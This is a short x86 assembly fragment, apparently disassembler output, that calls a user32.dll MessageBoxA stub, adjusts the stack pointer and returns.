call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret